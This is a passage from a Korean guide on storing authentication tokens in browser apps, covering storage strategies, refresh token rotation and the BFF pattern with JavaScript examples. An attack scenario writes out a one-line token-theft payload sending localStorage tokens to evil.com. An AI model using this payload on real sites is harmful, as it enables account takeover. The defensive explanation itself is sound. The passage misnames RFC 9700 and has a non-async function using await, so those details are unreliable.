│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ - 의미 없는 문자열: "dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk" │ │
│ │ - 서버 조회 필수: 토큰으로 DB/캐시에서 세션 정보 조회 │ │
│ │ - 즉시 폐기 가능: DB에서 삭제하면 즉시 무효화 │ │
│ │ - 정보 누출 없음: 토큰에 아무 정보도 없음 │ │
│ │ - 크기가 작음: 보통 32-64 바이트 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ 2025 업계 표준 조합: │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ │ │
│ │ Access Token = 단기 JWT (5-15분) │ │
│ │ ├── 로컬 검증으로 성능 확보 │ │
│ │ ├── 짧은 수명으로 탈취 영향 최소화 │ │
│ │ └── 폐기 불필요 (곧 만료되므로) │ │
│ │ │ │
│ │ Refresh Token = Opaque + 서버 사이드 저장 │ │
│ │ ├── 즉시 폐기 가능 (로그아웃, 보안 사고) │ │
│ │ ├── 정보 누출 없음 │ │
│ │ └── Rotation으로 탈취 탐지 │ │
│ │ │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
4.3 JWT 토큰 구조 상세
┌─────────────────────────────────────────────────────────────────────────────┐
│ JWT 표준 클레임 (RFC 7519) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Header: │
│ { │
│ "typ": "at+jwt", // 토큰 타입 (at+jwt = Access Token용 JWT) │
│ "alg": "RS256", // 서명 알고리즘 (RS256 권장, HS256 비권장) │
│ "kid": "key-2025-03" // 키 식별자 (키 순환 지원) │
│ } │
│ │
│ Payload: │
│ { │
│ "iss": "https://auth.example.com", // Issuer (발급자) │
│ "sub": "user_abc123", // Subject (사용자 식별자) │
│ "aud": "https://api.example.com", // Audience (수신 대상) ⚡중요 │
│ "exp": 1741219200, // Expiration (만료 시간) │
│ "iat": 1741218300, // Issued At (발급 시간) │
│ "jti": "unique-token-id-xyz", // JWT ID (고유 식별자) │
│ "scope": "read:profile write:settings", // 권한 범위 │
│ "client_id": "spa-client-001" // 클라이언트 식별자 │
│ } │
│ │
│ ⚡ aud (Audience) 검증이 중요한 이유: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ aud를 검증하지 않으면 "Confused Deputy" 공격 가능 │ │
│ │ │ │
│ │ 시나리오: │ │
│ │ 1. 공격자가 evil-app.com에서 받은 AT를 │ │
│ │ 2. api.example.com에 제출 │ │
│ │ 3. aud 미검증 시 → 유효한 JWT로 처리됨! │ │
│ │ │ │
│ │ 방어: Resource Server는 반드시 aud == 자신의 URL인지 확인 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ 서명 알고리즘 권장: │
│ ┌──────────┬──────────────┬──────────────────────────────────┐ │
│ │ 알고리즘 │ 키 종류 │ 권장 여부 │ │
│ ├──────────┼──────────────┼──────────────────────────────────┤ │
│ │ RS256 │ RSA 비대칭 │ ✅ 가장 널리 사용, 공개키 검증 │ │
│ │ ES256 │ ECDSA 비대칭 │ ✅ RS256보다 작고 빠름 │ │
│ │ EdDSA │ Ed25519 │ ✅ 최신, 가장 빠름 │ │
│ │ HS256 │ HMAC 대칭 │ ⚠️ 단일 서비스만, 키 공유 위험 │ │
│ │ none │ 없음 │ ❌ 절대 금지 (alg:none 공격) │ │
│ └──────────┴──────────────┴──────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
5. 토큰 저장 전략 비교
5.1 localStorage
┌─────────────────────────────────────────────────────────────────────────────┐
│ 전략 1: localStorage │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 메커니즘: 브라우저의 영구 키-값 저장소 (Origin별 격리) │
│ 용량: ~5-10MB │
│ 수명: 명시적 삭제 전까지 영구 보존 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
// localStorage 저장 예시
function login(credentials) {
const response = await fetch('/auth/login', {
method: 'POST',
body: JSON.stringify(credentials),
});
const { accessToken, refreshToken } = await response.json();
// ⚠️ 위험: 토큰이 JS로 접근 가능한 곳에 저장됨
localStorage.setItem('access_token', accessToken);
localStorage.setItem('refresh_token', refreshToken);
}
// API 요청 시
function apiCall(url) {
const token = localStorage.getItem('access_token');
return fetch(url, {
headers: { Authorization: `Bearer ${token}` },
});
}
┌─────────────────────────────────────────────────────────────────────────────┐
│ 보안 프로필 │
├────────────────┬────────────────────────────────────────────────────────────┤
│ XSS 저항성 │ ❌ 치명적 - 모든 JS 코드가 접근 가능 │
│ CSRF 저항성 │ ✅ 안전 - 쿠키가 아니므로 자동 전송 없음 │
│ 지속성 │ ✅ 영구 - 브라우저 닫아도 유지 │
│ 탭 격리 │ ❌ 없음 - 같은 Origin의 모든 탭에서 공유 │
│ 복잡도 │ ⬇️ 낮음 - 가장 단순한 구현 │
├────────────────┴────────────────────────────────────────────────────────────┤
│ │
│ 구체적 공격 시나리오: │
│ 1. 서드파티 스크립트(광고, 분석)가 XSS 취약점 포함 │
│ 2. 공격 코드: fetch('//evil.com?t=' + localStorage.getItem('access_token'))│
│ 3. 토큰 완전 탈취 → 공격자가 피해자로 위장하여 API 호출 │
│ │
│ OWASP 판정: ❌ 사용 금지 │
│ "Do not store session identifiers in local storage as the data is │
│ always accessible by JavaScript. Cookies can mitigate this risk │
│ using the httpOnly flag." │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
5.2 sessionStorage
┌─────────────────────────────────────────────────────────────────────────────┐
│ 전략 2: sessionStorage │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 메커니즘: 탭/윈도우별 격리된 키-값 저장소 │
│ 용량: ~5MB │
│ 수명: 탭 닫으면 삭제 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
// sessionStorage 저장 예시
sessionStorage.setItem('access_token', accessToken);
// 탭별 격리 - 새 탭 열면 빈 상태
// window.open() 으로 열면 복사됨, 직접 URL 입력 시 빈 상태
┌─────────────────────────────────────────────────────────────────────────────┐
│ 보안 프로필 │
├────────────────┬────────────────────────────────────────────────────────────┤
│ XSS 저항성 │ ❌ 치명적 - localStorage와 동일하게 JS 접근 가능 │
│ CSRF 저항성 │ ✅ 안전 - 쿠키가 아니므로 자동 전송 없음 │
│ 지속성 │ ⚠️ 탭 한정 - 새로고침 시 유지, 탭 닫으면 삭제 │
│ 탭 격리 │ ✅ 있음 - 각 탭이 독립 저장소 │
│ 복잡도 │ ⬇️ 낮음 │
├────────────────┴────────────────────────────────────────────────────────────┤
│ │
│ localStorage 대비 장점: │
│ - 탭별 격리로 한 탭 침해 시 다른 탭 토큰은 안전 │
│ - 탭 닫으면 자동 정리 │
│ │
│ 여전한 문제: │
│ - 같은 탭 내에서 XSS로 토큰 탈취 가능 │
│ - OWASP JWT Cheat Sheet에서는 sessionStorage를 "허용 가능"으로 평가 │
│ 하지만 in-memory/Web Worker보다 안전하지 않음 │
│ │
│ OWASP 판정: ⚠️ localStorage보다 나으나 권장하지 않음 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
5.3 HttpOnly Cookie
┌─────────────────────────────────────────────────────────────────────────────┐
│ 전략 3: HttpOnly Cookie │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 메커니즘: 서버가 Set-Cookie로 설정, JS 접근 차단 │
│ 용량: ~4KB per cookie │
│ 수명: Max-Age/Expires에 따라 결정 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
// 서버 측 (Node.js/Express)
app.post('/auth/login', async (req, res) => {
const { accessToken, refreshToken } = await authenticate(req.body);
// Refresh Token을 HttpOnly 쿠키로 설정
res.cookie('__Host-Http-RT', refreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
path: '/auth/refresh',
maxAge: 7 * 24 * 60 * 60 * 1000, // 7일
});
// Access Token은 응답 본문으로 (메모리에 저장)
res.json({ accessToken });
});
// 클라이언트 측
async function refreshAccessToken() {
// 쿠키가 자동으로 포함됨 (credentials: 'include')
const res = await fetch('/auth/refresh', {
method: 'POST',
credentials: 'include', // HttpOnly 쿠키 자동 전송
});
const { accessToken } = await res.json();
return accessToken; // 메모리에 저장
}
┌─────────────────────────────────────────────────────────────────────────────┐
│ 보안 프로필 │
├────────────────┬────────────────────────────────────────────────────────────┤
│ XSS 저항성 │ ✅ 토큰 탈취 방어 - JS로 쿠키 값 읽기 불가 │
│ CSRF 저항성 │ ⚠️ 위험 - 쿠키 자동 전송 → SameSite + CSRF 토큰 필요 │
│ 지속성 │ ✅ Max-Age까지 유지 │
│ 탭 격리 │ ❌ 없음 - 모든 탭에서 동일 쿠키 전송 │
│ 복잡도 │ 중간 - 서버 측 설정 필요 │
├────────────────┴────────────────────────────────────────────────────────────┤
│ │
│ 잔여 리스크: │
│ - XSS로 토큰은 못 훔쳐도 인증된 API 요청 가능 (fetch + credentials) │
│ - SameSite=Strict 없이는 CSRF 공격에 취약 │
│ - 쿠키 크기 제한 (4KB)으로 큰 JWT 저장 부적합 │
│ │
│ OWASP 판정: ✅ SameSite와 함께 사용 시 권장 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
5.4 In-Memory (Closure)
┌─────────────────────────────────────────────────────────────────────────────┐
│ 전략 4: In-Memory (Closure 패턴) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 메커니즘: JS 클로저/모듈 스코프 변수에 토큰 보관 │
│ 용량: JS 힙 메모리 제한 │
│ 수명: 페이지 새로고침/탭 닫기 시 소멸 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
// In-Memory 토큰 관리 (Closure 패턴)
const tokenManager = (() => {
let _accessToken = null; // 클로저로 보호
return {
setToken(token) {
_accessToken = token;
},
getToken() {
return _accessToken;
},
clearToken() {
_accessToken = null;
},
};
})();
// 사용
tokenManager.setToken(accessToken);
// API 호출
async function apiCall(url) {
let token = tokenManager.getToken();
if (!token || isExpired(token)) {
// HttpOnly 쿠키의 RT로 갱신
token = await refreshAccessToken();
tokenManager.setToken(token);
}
return fetch(url, {
headers: { Authorization: `Bearer ${token}` },
});
}
┌─────────────────────────────────────────────────────────────────────────────┐
│ 보안 프로필 │
├────────────────┬────────────────────────────────────────────────────────────┤
│ XSS 저항성 │ ⚠️ 상당히 어렵지만 불가능하지 않음 │
│ CSRF 저항성 │ ✅ 안전 - Authorization 헤더 사용 │
│ 지속성 │ ❌ 없음 - 새로고침 시 소멸 (RT 쿠키로 재발급) │
│ 탭 격리 │ ✅ 있음 - 각 탭이 독립 메모리 │
│ 복잡도 │ 중간 - 새로고침 시 토큰 재발급 로직 필요 │
├────────────────┴────────────────────────────────────────────────────────────┤
│ │
│ 잔여 리스크: │
│ - Prototype Pollution: Object.prototype 오염으로 getter 가로채기 가능 │
│ - 메모리 덤프: 브라우저 개발자 도구로 힙 검사 가능 │
│ - XSS가 존재하면 결국 인증된 요청 자체를 대리 실행 가능 │
│ │
│ Auth0 평가: ✅ Access Token 저장에 권장 │
│ "Store access tokens in memory. They will be lost on page refresh, │
│ but this is acceptable with refresh token rotation." │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
5.5 Web Worker
┌─────────────────────────────────────────────────────────────────────────────┐
│ 전략 5: Web Worker (최상위 권장) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 메커니즘: 별도 스레드의 Worker에서 토큰 관리 및 API 호출 대행 │
│ 용량: Worker 힙 메모리 │
│ 수명: Worker 종료 시 소멸 (페이지 새로고침) │
│ │
│ ┌────────────────────────────────────────────────────────────┐ │
│ │ │ │
│ │ Main Thread (XSS 공격 표면) Web Worker (격리됨) │ │
│ │ ┌──────────────────────┐ ┌──────────────────┐ │ │
│ │ │ │ │ │ │ │
│ │ │ document.cookie ❌ │ │ accessToken ✅ │ │ │
│ │ │ localStorage ❌ │ msg │ refreshToken ✅ │ │ │
│ │ │ 토큰 접근 불가 │ ←───→ │ fetch 대행 │ │ │
│ │ │ │ │ │ │ │
│ │ └──────────────────────┘ └──────────────────┘ │ │
│ │ │ │
│ │ Main Thread의 XSS가 Worker의 메모리에 접근 불가! │ │
│ │ Worker에는 document, window, DOM API가 없음 │ │
│ │ │ │
│ └────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
// auth-worker.js (Web Worker)
let accessToken = null;
self.addEventListener('message', async (e) => {
const { type, url, options } = e.data;
switch (type) {
case 'SET_TOKEN':
accessToken = e.data.token;
break;
case 'API_CALL':
// 토큰이 만료되었으면 갱신
if (!accessToken || isExpired(accessToken)) {
const res = await fetch('/auth/refresh', {
method: 'POST',
credentials: 'include', // HttpOnly 쿠키 전송
});
const data = await res.json();
accessToken = data.accessToken;
}
// Worker가 직접 API 호출 (토큰이 Main Thread에 노출되지 않음)
const response = await fetch(url, {
...options,
headers: {
...options?.headers,
Authorization: `Bearer ${accessToken}`,
},
});
const result = await response.json();
self.postMessage({ type: 'API_RESULT', url, data: result });
break;
case 'LOGOUT':
accessToken = null;
await fetch('/auth/logout', { method: 'POST', credentials: 'include' });
self.postMessage({ type: 'LOGGED_OUT' });
break;
}
});
// main.js (Main Thread)
const authWorker = new Worker('/auth-worker.js');
async function secureApiCall(url, options) {
return new Promise((resolve) => {
authWorker.addEventListener('message', function handler(e) {
if (e.data.type === 'API_RESULT' && e.data.url === url) {
authWorker.removeEventListener('message', handler);
resolve(e.data.data);
}
});
authWorker.postMessage({ type: 'API_CALL', url, options });
});
}
┌─────────────────────────────────────────────────────────────────────────────┐
│ 보안 프로필 │
├────────────────┬────────────────────────────────────────────────────────────┤
│ XSS 저항성 │ ✅✅ 매우 강함 - Main Thread XSS가 Worker 메모리 접근 불가│
│ CSRF 저항성 │ ✅ 안전 - Authorization 헤더 사용 │
│ 지속성 │ ❌ 없음 - Worker 종료 시 소멸 │
│ 탭 격리 │ ✅ 있음 - Worker는 탭별 독립 │
│ 복잡도 │ ⬆️ 높음 - Worker 통신 + 메시지 기반 아키텍처 │
├────────────────┴────────────────────────────────────────────────────────────┤
│ │
│ Auth0 평가: ✅✅ SPA 최상위 권장 │
│ "Use a Web Worker to handle token storage and API calls. │
│ This isolates tokens from the main thread where XSS operates." │
│ │
│ 잔여 리스크: │
│ - Worker 스크립트 자체가 변조되면 무력화 (CSP로 방어) │
│ - postMessage 인터페이스를 통한 간접 공격 가능성 │
│ - SharedArrayBuffer 등으로 Worker 메모리 접근 시도 (브라우저가 차단) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
5.6 Service Worker
┌─────────────────────────────────────────────────────────────────────────────┐
│ 전략 6: Service Worker │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 메커니즘: 네트워크 프록시로 동작, 모든 fetch 요청에 토큰 자동 주입 │
│ 용량: Worker 메모리 + CacheStorage + IndexedDB │
│ 수명: SW 등록 해제 전까지 유지 (새로고침에도 생존) │
│ │
│ 장점: │
│ ├── 새로고침에도 토큰 유지 (Web Worker와 차별점) │
│ ├── 모든 네트워크 요청을 가로채서 투명하게 토큰 주입 │
│ └── 오프라인 캐시 + 인증 조합 가능 │
│ │
│ 위험: │
│ ├── SW 하이재킹: XSS로 악성 SW 등록 시 모든 요청 감청 가능 │
│ ├── DOM Clobbering: SW 등록 스크립트 변조 가능성 │
│ ├── 생명주기 복잡: 업데이트, activate, 캐시 관리 어려움 │
│ └── 디버깅 난이도 매우 높음 │
│ │
│ OWASP 판정: ⚠️ 주의하여 사용 (Web Worker보다 공격 표면 넓음) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
5.7 6가지 전략 종합 비교
┌──────────────────────────────────────────────────────────────────────────────────────┐
│ 토큰 저장 전략 종합 비교 매트릭스 │
├────────────────┬────────┬────────┬────────┬────────────┬────────┬──────┬─────────────┤
│ 전략 │ XSS │ CSRF │ 지속성 │ 크로스 탭 │ 복잡도 │ OWASP│ 종합 점수 │
│ │ 저항성 │ 저항성 │ │ 공유 │ │ 판정 │ (10점 만점) │
├────────────────┼────────┼────────┼────────┼────────────┼────────┼──────┼─────────────┤
│ localStorage │ ❌ │ ✅ │ ✅ │ ✅ 공유 │ 낮음 │ ❌ │ 3/10 │
├────────────────┼────────┼────────┼────────┼────────────┼────────┼──────┼─────────────┤
│ sessionStorage │ ❌ │ ✅ │ ⚠️ 탭 │ ❌ 격리 │ 낮음 │ ⚠️ │ 4/10 │
├────────────────┼────────┼────────┼────────┼────────────┼────────┼──────┼─────────────┤
│ HttpOnly Cookie│ ✅ │ ⚠️ │ ✅ │ ✅ 공유 │ 중간 │ ✅ │ 7/10 │
├────────────────┼────────┼────────┼────────┼────────────┼────────┼──────┼─────────────┤
│ In-Memory │ ⚠️ │ ✅ │ ❌ │ ❌ 격리 │ 중간 │ ✅ │ 7/10 │
├────────────────┼────────┼────────┼────────┼────────────┼────────┼──────┼─────────────┤
│ Web Worker │ ✅✅ │ ✅ │ ❌ │ ❌ 격리 │ 높음 │ ✅✅ │ 9/10 │
├────────────────┼────────┼────────┼────────┼────────────┼────────┼──────┼─────────────┤
│ Service Worker │ ✅ │ ✅ │ ✅ │ ✅ 공유 │ 매우높 │ ⚠️ │ 6/10 │
├────────────────┴────────┴────────┴────────┴────────────┴────────┴──────┴─────────────┤
│ │
│ ⚡ 2025 최적 조합: │
│ Access Token → Web Worker (메모리) 또는 In-Memory (Closure) │
│ Refresh Token → HttpOnly + Secure + SameSite=Strict 쿠키 │
│ │
└──────────────────────────────────────────────────────────────────────────────────────┘
6. Refresh Token Rotation과 재사용 탐지
6.1 Token Rotation 메커니즘
┌─────────────────────────────────────────────────────────────────────────────┐
│ Refresh Token Rotation 동작 원리 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 기본 원칙: RT를 사용할 때마다 새 RT를 발급하고, 사용된 RT는 즉시 무효화 │
│ │
│ 정상 흐름: │
│ │
│ 클라이언트 인가 서버 │
│ │ │ │
│ │ 1. RT_1로 갱신 요청 │ │
│ │ ──────────────────────────→ │ │
│ │ │ 2. RT_1 유효 확인 │
│ │ │ 3. RT_1 무효화 │
│ │ │ 4. 새 AT_2 + RT_2 발급 │
│ │ 5. AT_2 + RT_2 수신 │ │
│ │ ←────────────────────────── │ │
│ │ │ │
│ │ 6. RT_2로 갱신 요청 │ │
│ │ ──────────────────────────→ │ │
│ │ │ 7. RT_2 유효 확인 │
│ │ │ 8. RT_2 무효화 │
│ │ │ 9. 새 AT_3 + RT_3 발급 │
│ │ 10. AT_3 + RT_3 수신 │ │
│ │ ←────────────────────────── │ │
│ │ │ │
│ ▼ ▼ │
│ 각 RT는 한 번만 사용 가능 → 탈취되어도 경쟁 조건 발생 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
6.2 Token Family 개념
┌─────────────────────────────────────────────────────────────────────────────┐
│ Token Family (토큰 가족) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Token Family = 하나의 로그인 세션에서 파생된 모든 RT의 계보 │
│ │
│ 로그인 │
│ │ │
│ ├── RT_1 (family_id: "fam_abc") │
│ │ │ │
│ │ └── (사용) → RT_2 (family_id: "fam_abc") │
│ │ │ │
│ │ └── (사용) → RT_3 (family_id: "fam_abc") │
│ │ │ │
│ │ └── (사용) → RT_4 (family_id: "fam_abc")│
│ │ │
│ └── 모두 동일한 family_id를 공유 │
│ │
│ 서버 저장 구조 (예시): │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ { │ │
│ │ "family_id": "fam_abc", │ │
│ │ "user_id": "user_123", │ │
│ │ "current_token_hash": "hash(RT_4)", │ │
│ │ "used_tokens": ["hash(RT_1)", "hash(RT_2)", "hash(RT_3)"],│ │
│ │ "created_at": "2026-03-01T00:00:00Z", │ │
│ │ "last_used_at": "2026-03-05T10:30:00Z" │ │
│ │ } │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
6.3 자동 재사용 탐지 (Automatic Reuse Detection)
┌─────────────────────────────────────────────────────────────────────────────┐
│ 재사용 탐지 시나리오 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. 정상 사용자가 RT_2를 가지고 있음 │
│ 2. 공격자가 어떤 경로로 RT_2를 탈취 │
│ │
│ 시나리오 A: 정상 사용자가 먼저 사용 │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ │ │
│ │ 정상 사용자: RT_2 사용 → AT_3 + RT_3 수신 (RT_2 무효화) │ │
│ │ 공격자: RT_2 사용 시도 │ │
│ │ → ❌ 이미 무효화됨! 거부 │ │
│ │ → 서버: "사용된 RT 재사용 감지!" │ │
│ │ → 해당 Token Family 전체 무효화 (RT_3도 무효!) │ │
│ │ → 정상 사용자도 재로그인 필요 (안전 우선) │ │
│ │ │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ 시나리오 B: 공격자가 먼저 사용 │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ │ │
│ │ 공격자: RT_2 사용 → AT_3' + RT_3' 수신 (RT_2 무효화) │ │
│ │ 정상 사용자: RT_2 사용 시도 │ │
│ │ → ❌ 이미 무효화됨! 거부 │ │
│ │ → 서버: "사용된 RT 재사용 감지!" │ │
│ │ → 해당 Token Family 전체 무효화 (RT_3'도 무효!) │ │
│ │ → 공격자의 토큰도 무효화됨 │ │
│ │ │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ 핵심: 어느 쪽이 먼저 사용하든, 재사용이 감지되면 가족 전체 무효화 │
│ → 공격자는 탈취한 RT로 지속적 접근 불가 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
6.4 네트워크 불안정을 위한 Grace Period
┌─────────────────────────────────────────────────────────────────────────────┐
│ Grace Period (유예 기간) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 문제 상황: │
│ 클라이언트가 RT_2로 갱신 요청 → 서버가 RT_3 발급 │
│ → 네트워크 오류로 응답이 클라이언트에 도달하지 못함 │
│ → 클라이언트는 RT_2만 보유, 서버는 RT_2를 무효화한 상태 │
│ → 클라이언트가 RT_2 재사용 → 재사용으로 오탐! 가족 전체 무효화 │
│ │
│ 해결: Grace Period │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ │ │
│ │ 서버가 RT를 무효화할 때: │ │
│ │ - 즉시 삭제하지 않고 "사용됨" 표시 + 타임스탬프 기록 │ │
│ │ - 설정 가능한 유예 시간 (예: 30초) 동안 │ │
│ │ 같은 RT의 재사용을 허용하고 동일한 응답 반환 │ │
│ │ - 유예 시간 초과 후 재사용 → 진짜 재사용 공격으로 판단 │ │
│ │ │ │
│ │ 구현 예시: │ │
│ │ const GRACE_PERIOD_MS = 30_000; // 30초 │ │
│ │ │ │
│ │ if (token.usedAt && │ │
│ │ Date.now() - token.usedAt < GRACE_PERIOD_MS) { │ │
│ │ // 유예 기간 내 → 이전 발급 결과 재전송 │ │
│ │ return cachedResponse; │ │
│ │ } else if (token.usedAt) { │ │
│ │ // 유예 기간 초과 → 재사용 공격! │ │
│ │ await invalidateTokenFamily(token.familyId); │ │
│ │ throw new TokenReuseError(); │ │
│ │ } │ │
│ │ │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
6.5 RFC 9700 (2025년 1월) 요구사항
┌─────────────────────────────────────────────────────────────────────────────┐
│ RFC 9700: OAuth 2.0 for Browser-Based Applications │
│ (2025년 1월 발행) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Public Client (SPA 등)에 대한 RT 보안 요구사항: │
│ │
│ MUST (필수): │
│ ├── Refresh Token Rotation 적용 │
│ │ 또는 │
│ ├── Sender-Constraining (DPoP/mTLS) 적용 │
│ │ │
│ └── 둘 중 하나 이상을 반드시 구현해야 함 │
│ │
│ SHOULD (권장): │
│ ├── RT 수명 제한 (무기한 RT 금지) │
│ ├── 재사용 탐지 구현 │
│ ├── 재사용 감지 시 가족 전체 무효화 │
│ └── 비활성 RT 자동 만료 (idle timeout) │
│ │
│ 이전 관행 vs RFC 9700: │
│ ┌─────────────────────────────┬────────────────────────────────────┐ │
│ │ 이전 │ RFC 9700 │ │
│ ├─────────────────────────────┼────────────────────────────────────┤ │
│ │ iframe silent auth │ 서드파티 쿠키 차단으로 사용 불가 │ │
│ │ 장기 RT 단독 사용 │ Rotation 또는 DPoP 필수 │ │
│ │ Implicit Grant (토큰 직발급)│ 완전 제거됨 │ │
│ │ RT 무기한 유효 │ 수명 제한 필수 │ │
│ └─────────────────────────────┴────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
7. BFF (Backend-for-Frontend) 패턴
7.1 IETF 권장 사항
┌─────────────────────────────────────────────────────────────────────────────┐
│ IETF draft-ietf-oauth-browser-based-apps-26 (2025년 12월) │
│ "OAuth 2.0 for Browser-Based Applications" │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 브라우저 앱의 OAuth 토큰 처리에 대한 3가지 구조: │
│ │
│ Tier 1: BFF (Full Proxy) ← 가장 강력, IETF 최우선 권장 │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 브라우저에 토큰이 전혀 노출되지 않음 │ │
│ │ 모든 OAuth 흐름이 서버에서 처리 │ │
│ │ 브라우저 ↔ BFF: HttpOnly 쿠키만 사용 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ Tier 2: Token-Mediating Backend │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 서버가 토큰 발급/갱신 담당 │ │
│ │ AT는 브라우저에 전달 가능 (in-memory) │ │
│ │ RT는 서버에 유지 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ Tier 3: Browser Client (Public Client) │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 브라우저가 직접 OAuth 흐름 수행 │ │
│ │ PKCE + Rotation + DPoP 등 최대한의 클라이언트 보안 필요 │ │
│ │ BFF 불가 시 차선책 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
7.2 BFF 아키텍처
┌─────────────────────────────────────────────────────────────────────────────┐
│ BFF 패턴 아키텍처 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ │
│ 브라우저 (SPA) BFF 서버 API 서버 │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ │ Cookie │ │ Bearer │ │ │
│ │ React / │ ───────→ │ Node.js / │ ───────→ │ Resource │ │
│ │ Next.js / │ │ Spring / │ │ Server │ │
│ │ Vue │ ←─────── │ Express │ ←─────── │ │ │
│ │ │ Cookie │ │ JSON │ │ │
│ └──────────────┘ └──────┬───────┘ └──────────────┘ │
│ │ │
│ 토큰 없음! │ 토큰 저장 │
│ HttpOnly 쿠키만 ├── Access Token (메모리/Redis) │
│ 알고 있음 ├── Refresh Token (메모리/Redis) │
│ └── 세션 ↔ 토큰 매핑 │
│ │
│ │
│ 흐름: │
│ 1. 브라우저 → BFF: /api/data 요청 (HttpOnly 세션 쿠키 자동 포함) │
│ 2. BFF: 세션 쿠키로 사용자 식별 → 저장된 AT 조회 │
│ 3. BFF → API: Authorization: Bearer {AT} 헤더로 요청 │
│ 4. AT 만료 시: BFF가 RT로 자동 갱신 (브라우저 무관여) │
│ 5. API → BFF → 브라우저: 응답 전달 │
│ │
│ 핵심 이점: │
│ ├── 브라우저에 토큰 노출 제로 (XSS로 토큰 탈취 원천 차단) │
│ ├── Client Secret 사용 가능 (Confidential Client) │
│ ├── RT Rotation/DPoP 없어도 안전 (토큰이 서버에만 존재) │
│ └── 복잡한 OAuth 로직을 서버에서 처리 (프론트엔드 단순화) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
7.3 구현 예시: Next.js App Router
// app/api/auth/login/route.ts (Next.js App Router BFF)
import { cookies } from 'next/headers';
import { NextResponse } from 'next/server';
export async function POST(request: Request) {
const { username, password } = await request.json();
// 1. OAuth Authorization Server에 토큰 요청
const tokenResponse = await fetch(`${process.env.AUTH_SERVER}/oauth/token`, {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
grant_type: 'password',
client_id: process.env.CLIENT_ID!,
client_secret: process.env.CLIENT_SECRET!, // BFF는 Confidential Client!
username,
password,
scope: 'openid profile',
}),
});
const { access_token, refresh_token, expires_in } = await tokenResponse.json();
// 2. 세션 생성 및 토큰 서버 사이드 저장 (Redis 등)
const sessionId = crypto.randomUUID();
await redis.set(`session:${sessionId}`, JSON.stringify({
accessToken: access_token,
refreshToken: refresh_token,
expiresAt: Date.now() + expires_in * 1000,
}), { EX: 30 * 24 * 60 * 60 }); // 30일
// 3. 세션 ID만 HttpOnly 쿠키로 설정
const cookieStore = await cookies();
cookieStore.set('__Host-Http-SID', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict',
path: '/',
maxAge: 30 * 24 * 60 * 60, // 30일
});
return NextResponse.json({ success: true });
}
// app/api/proxy/[...path]/route.ts (API 프록시)
export async function GET(
request: Request,
{ params }: { params: { path: string[] } }
) {
const cookieStore = await cookies();
const sessionId = cookieStore.get('__Host-Http-SID')?.value;
if (!sessionId) {
return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
}
// 세션에서 토큰 조회
let session = JSON.parse(await redis.get(`session:${sessionId}`) || 'null');
if (!session) {
return NextResponse.json({ error: 'Session expired' }, { status: 401 });
}
// AT 만료 시 자동 갱신
if (Date.now() >= session.expiresAt) {
const refreshed = await refreshTokens(session.refreshToken);
session = { ...session, ...refreshed };
await redis.set(`session:${sessionId}`, JSON.stringify(session));
}
// API 서버에 Bearer 토큰으로 요청
const apiPath = params.path.join('/');
const apiResponse = await fetch(`${process.env.API_SERVER}/${apiPath}`, {
headers: {
Authorization: `Bearer ${session.accessToken}`,
'Content-Type': 'application/json',
},
});
